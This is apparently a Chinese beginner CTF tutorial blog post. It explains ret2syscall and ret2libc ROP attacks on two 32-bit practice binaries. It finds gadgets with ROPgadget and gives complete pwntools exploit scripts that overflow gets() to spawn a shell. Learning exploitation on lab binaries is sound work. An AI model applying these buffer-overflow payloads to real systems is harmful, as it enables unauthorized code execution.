pwn入门(3):缓冲区溢出ROP攻击(ret2syscall+ret2libc)

前两篇博客讲述了解pwn题的环境配置和ROP攻击的原理,以及两道最基本的ROP攻击题目,详情见:

(59条消息) pwn入门(1):kali配置相关环境(pwntools+gdb+peda)_Bossfrank的博客-CSDN博客(59条消息) pwn入门(2):ROP攻击的原理,缓冲区溢出漏洞利用(ret2text+ret2shellcode)_Bossfrank的博客-CSDN博客本节我们再继续介绍ROP攻击的两个基本实例。

ret2syscall    

二进制下载链接为点此处下载ret2syscall 

与ret2text和ret2shellcode一样,我们先检测程序开启的保护,命令(把二进制程序改名为ret2syscall):

checksec ret2syscall

 发现开启了NX防护措施,源程序为 32 位

 查看IDA pro(按F5),同样存在溢出点gets函数:

 然后我们再搜一搜有没有类似syscall函数和'/bin/sh'字符串这样的特征可以利用,发现确实有'/bin/sh'字符串,位于0x080be408

当然,也可以用ROPgadget搜索'/bin/sh',命令如下:

ROPgadget --binary ret2syscall --string '/bin/sh'

 也可找到字符串所在地址,为0x080be408

 然后貌似也没有其他有价值的东西可直接利用了。我们可以尝试利用系统调用,但如何给 syscall 传参呢?利用程序中的 gadgets 进行拼凑,最终拼凑出系统调用实现getshell

Linux 在x86上的系统调用通过 int 80h 中断实现,用系统调用号来区分入口函数。操作系统实现系统调用的基本过程是:

  1. 应用程序调用库函数(API);
  2. API 将系统调用号存入 EAX,然后通过中断调用使系统进入内核态;
  3. 内核中的中断处理函数根据系统调用号,调用对应的内核函数(系统调用);
  4. 系统调用完成相应功能,将返回值存入 EAX,返回到中断处理函数;
  5. 中断处理函数返回到 API 中;
  6. API 将 EAX 返回给应用程序。

应用程序调用系统调用的过程是

  1. 系统调用的编号存入 EAX
  2. 把函数参数存入其它通用寄存器(ebx,ecx,edx等等);
  3. 触发 0x80 号中断(int 0x80)。

简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。这里我们拟采用获取shell的系统调用为:

execve("/bin/sh",NULL,NULL)

而在32位系统中,execve的系统调用号为11(系统调用号可见系统调用号),即16进制0xb,我们只要将eax的值赋为0xb,即可实现execve的系统调用,然后我们还要给这个系统调用传参,要传递的参数分别为"/bin/sh",NULL,NULL,传递参数是通过寄存器ebx,ecx,edx寄存的值实现的,因此,我们要想实现execve("/bin/sh",NULL,NULL),需要满足:

  •  eax 应该为 0xb(execve的系统调用号)
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0

 弄明白了这一点,问题变为了如何使得eax,ebx,ecx,edx这四个寄存器的值对应我们想要的(0xb, '/bin/sh'的地址0x080be408, 0, 0

这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。也就是把pop 寄存器出来之后,ret回程序执行流程,然后再对弹出的寄存器赋值,再执行下一次的pop、ret、给寄存器赋值。具体寻找 gadgets 的方法,我们再次使用 ropgadgets 这个工具。

先找pop eax ret这样的语句的位置,命令为:

ROPgadget --binary ret2syscall --only 'pop|ret' | grep eax

 如上图,有好几个可以选择的,那我们就选第二条吧,这条指令只对pop操作,不会影响其他寄存器,记住这条指令的地址为0x080bb196。类似的,我们再找对ebx的pop操作,命令为:

ROPgadget --binary ret2syscall --only 'pop|ret' | grep ebx

 发现0x0806eb90的这条指令非常理想,直接依次pop出了edx,ecx,ebx,可以直接控制三个寄存器。那么我们就选这条了,就不用再搜pop ecx 和 edx的命令了,非常nice!

此外,还有 int 0x80 的地址需要寻找(为啥要找int 0x80?因为应用程序系统调用的过程最后要触发int 0x80中断),命令为:

ROPgadget --binary ret2syscall  --only 'int'

 发现int_0x80的地址为x08049421。

/bin/sh的地址我们前面用IDA看过了,是0x80be408,至此,我们找齐了所有的要利用的gadgets。可以进行溢出了,在本文构造的这些gadgets的溢出的思路如下图(看不明白的建议多看几遍):

 当然,如果前面选择的指令的地址不一样,也有其他的覆盖思路,比如下图:

 哦对了,顺道一提,垃圾数据的长度和我上篇博客的两道题目的offset相同,还是112,这个数是咋的出来的可以看上一篇博客(59条消息) pwn入门(2):ROP攻击的原理,缓冲区溢出漏洞利用(ret2text+ret2shellcode)_Bossfrank的博客-CSDN博客

 由此,对照下图,payload构造如下:

payload = b'A' * 112 + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(binsh) + p32(int_0x80)

然后我们就可以编写漏洞利用的代码了,ret2syscall_exp.py如下:

from pwn import *

sh = process('./ret2syscall')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = b'A' * 112 + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(binsh) + p32(int_0x80)
sh.sendline(payload)
sh.interactive()

如图所示,运行此代码,成功获得shell!这里运行了ls,可以看到对应的文件了

 ret2libc1

二进制下载链接为点此处下载ret2libc1

第一步仍然是检测程序开启的保护:

checksec ret2libc1

 发现源程序为 32 位,开启了 NX 保护

 

 查看IDA pro,同样存在gets可以溢出:

 再查看secure() 函数,发现里面有 system 调用,但参数不是 '/bin/sh'

 查看一下system的plt表项位置,为08048460:

 利用 ropgadget,我们可以查看是否有'/bin/sh' 存在:

ROPgadget --binary ret2libc1 --string '/bin/sh'

发现是有的,如图,其地址为08048720,当然在IDA中查找也是一样的。

 此时,要素齐全,有 system(),也有 '/bin/sh' 字符串,我们的攻击思路如下:

1、找出 system() 的 PLT 表项

2、找出 '/bin/sh' 字符串的地址

3、构造 system 的栈帧,令 main() 的返回地址为 system 的 plt 地址,直接完成system('/bin/sh')

覆盖思路示意图如下:

 这里垃圾数据的长度offset和前面一样,都是112,图中那个“随便一个32位数”是作为system函数的返回地址,在这里并不关心是多少(因为一旦执行了system('/bin/sh')就已经成功getshell了),我们就用’bbbb‘作为替代就行,再后面是system函数的参数,是'/bin/sh'的地址,因此,对应的payload为:

payload = b'a' * 112 + p32(system_plt) + b'b' * 4 + p32(binsh_addr)

 然后现在可以写漏洞利用代码了,ret2libc1_exp.py如下所示:

from pwn import *

sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = b'a' * 112 + p32(system_plt) + b'b' * 4 + p32(binsh_addr)
sh.sendline(payload)
sh.interactive()

运行后成功拿到了shell,如下图:

至此,ROP攻击成功。

结语 

本人也是个刚刚入门网安的菜鸟,正好学到缓冲区溢出的基本知识,因此做了几道基本题之后感觉还挺有趣的,因此写写博客做一个记录。 初次复现的时候对照着基本 ROP - CTF Wiki (ctf-wiki.org)

的代码跑了一遍,直接就成功了,但对覆盖的原理不太理解,包括寄存器的值为什么这样设置,对函数的调用、传参、返回的过程并没有很清楚,后来也和周围朋友交流,再次写博客的时候才对其中的原理豁然开朗。

本节通过两个实例ret2tsyscall、ret2libc1,为读者介绍基本的ROP攻击过程。下一节中我们将继续通过其他实例继续介绍基本的ROP知识题目。敬请期待,希望大大多多关注支持!

猜你喜欢

转载自blog.csdn.net/Bossfrank/article/details/130229459